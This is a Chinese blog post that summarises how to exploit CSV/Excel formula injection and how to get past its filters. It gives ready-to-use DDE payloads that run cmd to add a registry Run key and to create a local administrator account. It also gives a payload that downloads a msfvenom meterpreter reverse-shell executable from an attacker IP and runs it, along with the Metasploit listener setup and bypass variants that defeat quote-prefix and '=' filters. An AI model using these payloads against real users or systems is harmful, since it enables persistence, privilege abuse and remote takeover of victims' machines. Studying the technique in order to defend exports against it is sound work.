• csv注入利用和绕过总结


    csv注入

    csv注入是一种将包含恶意命令的excel公式插入到可以导出csv或xls等格式的文本中,当在excel中打开csv文件时,文件会转换为excel格式并提供excel公式的执行功能,会造成命令执行问题。

    漏洞原理

    漏洞原理就是excel的一个特性,当单元格中内容以=-+@等符号开头时,excel将会将其当成一个公式处理。

    所以当我们输入=1+1时,excel会自动将其计算

    那么利用这个办法,把等号后面的内容改为执行cmd命令控制其打开一个计算器

    =1+cmd|' /C calc'!A0

    漏洞利用 

    修改注册表

    =cmd|'/C reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v calc /t REG_SZ /d c:windowssystem32calc.exe /f'!A0

    添加用户

    =cmd|'/C net user test 123456 /add'!A0+
    =cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0


    可以使用命令注入中的知识,同时执行两个命令,达到新建一个管理员用户的效果

    下载木马,反弹shell

    准备木马

    #msf生成payload
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f exe -o reverse_tcp.exe
    #python2开启http服务
    python -m SimpleHTTPServer 8888
    #python3开启http服务
    python -m http.server 8888

    攻击机监听 

    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST xxx.xxx.xxx.xxx
    set LPORT 4444
    run

    靶机从python http服务下载木马并执行 

    curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .windowsLocal.exe

    那么我们在csv注入场景下的payload就是 

    =cmd|'/C curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .windowsLocal.exe'!A0
    

    不过这个方法一般会在下载步骤被windows防火墙拦截,可以自行增加一层编解码或者加解密过程。 

    反弹shell也可以通过调用powershell下载powercat反弹,使用nc监听。

    漏洞绕过

    其他运算符号绕过

    很多场景下服务器会过滤=,但是在excel中,+,-,@等也可以触发公式

    -cmd|' /C calc'!A0
    +cmd|' /C calc'!A0
    @SUM(cmd|'/c calc'!A0)

    %0A绕过自动添加单引号 

    有些防御手法会在等号之类的运算符前增加’,或每个元素开头直接添加单引号,可使用%0A换行执行

    %0A-1+cmd|' /C calc'!A0

    ;绕过自动添加单引号 

    有些防御手法会在等号之类的运算符前增加’,或每个元素开头直接添加单引号,可使用;分割,分别执行

    ;-1+cmd|' /C calc'!A0
    
  • 相关阅读:
    HTML网页背景图很长要有滚动条滑动
    CentOS 6.6下安装配置Tomcat环境
    centos安装jdk1.7.80的rpm包
    vmware12共享windows的文件给虚拟的linux
    Oracle jdk 历史版本官方下载地址及下载方法
    CentOS所有版本下载地址分享
    为什么说docker可以保护Nginx、Tomcat、Mysql呢?
    Linux下安装Nginx依赖包和Nginx的命令
    Nginx的启动、停止、重启
    nginx无法启动: libpcre.so.1/libpcre.so.0: cannot open shared object file解决办法
  • 原文地址:https://www.cnblogs.com/nul1/p/14017249.html
Copyright © 2020-2023  润新知